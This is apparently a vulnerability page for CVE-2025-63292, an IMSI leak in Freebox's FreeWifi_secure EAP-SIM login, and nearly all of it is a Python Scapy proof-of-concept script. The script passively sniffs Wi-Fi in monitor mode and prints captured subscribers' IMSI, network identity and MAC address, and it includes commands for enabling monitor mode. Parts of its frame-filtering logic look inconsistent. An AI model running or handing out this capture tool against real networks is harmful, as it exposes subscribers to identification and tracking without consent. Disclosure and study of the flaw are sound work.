CVE-2025-63292: Freebox设备FreeWifi_secure网络EAP-SIM认证明文传输IMSI信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-63292 PoC - Freebox FreeWifi_secure IMSI Information Disclosure This PoC demonstrates passive capture of IMSI from FreeWifi_secure EAP-SIM authentication Note: Requires monitor mode wireless interface and Scapy library """ from scapy.all import sniff, Dot11, EAP, Radius from scapy.layers.dot11 import RadioTap, Dot11Beacon, Dot11ProbeResp import re def parse_eap_identity(pkt): """ Parse EAP-Response/Identity packet to extract NAI containing IMSI """ if pkt.haslayer(EAP): eap_layer = pkt.getlayer(EAP) if hasattr(eap_layer, 'identity'): nai = eap_layer.identity.decode('utf-8', errors='ignore') # Extract IMSI from NAI format: IMSI@realm imsi_match = re.match(r'^(\d+)@', nai) if imsi_match: imsi = imsi_match.group(1) print(f"[+] Captured IMSI: {imsi}") print(f"[+] Full NAI: {nai}") print(f"[+] Source MAC: {pkt.addr2}") return {'imsi': imsi, 'nai': nai, 'mac': pkt.addr2} return None def packet_handler(pkt): """ Handle captured packets, filter for FreeWifi_secure EAP frames """ # Check for Data frames ( subtype 0x20-0x2f) if pkt.haslayer(Dot11) and pkt.type == 2: ssid = None # Try to extract SSID from probe requests/responses if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): if hasattr(pkt, 'info'): try: ssid = pkt.info.decode('utf-8') except: pass # Filter for FreeWifi_secure network if ssid == 'FreeWifi_secure' or b'FreeWifi_secure' in bytes(pkt): result = parse_eap_identity(pkt) if result: return result # Check for EAP over LAN frames if pkt.haslayer(Radius): result = parse_eap_identity(pkt) if result: return result return None def start_capture(interface='wlan0mon', timeout=60): """ Start passive capture on specified monitor mode interface Args: interface: Wireless interface in monitor mode timeout: Capture duration in seconds """ print(f"[*] Starting passive capture on {interface}") print("[*] Waiting for FreeWifi_secure EAP-SIM authentication frames...") print("[*] Press Ctrl+C to stop") try: packets = sniff(iface=interface, prn=packet_handler, timeout=timeout) print(f"\n[+] Captured {len(packets)} packets") except KeyboardInterrupt: print("\n[!] Capture stopped by user") except Exception as e: print(f"[!] Error: {e}") print("[!] Make sure interface is in monitor mode:") print("[!] sudo ip link set wlan0 down") print("[!] sudo iw dev wlan0 set type monitor") print("[!] sudo ip link set wlan0 up") if __name__ == '__main__': import sys interface = sys.argv[1] if len(sys.argv) > 1 else 'wlan0mon' start_capture(interface=interface)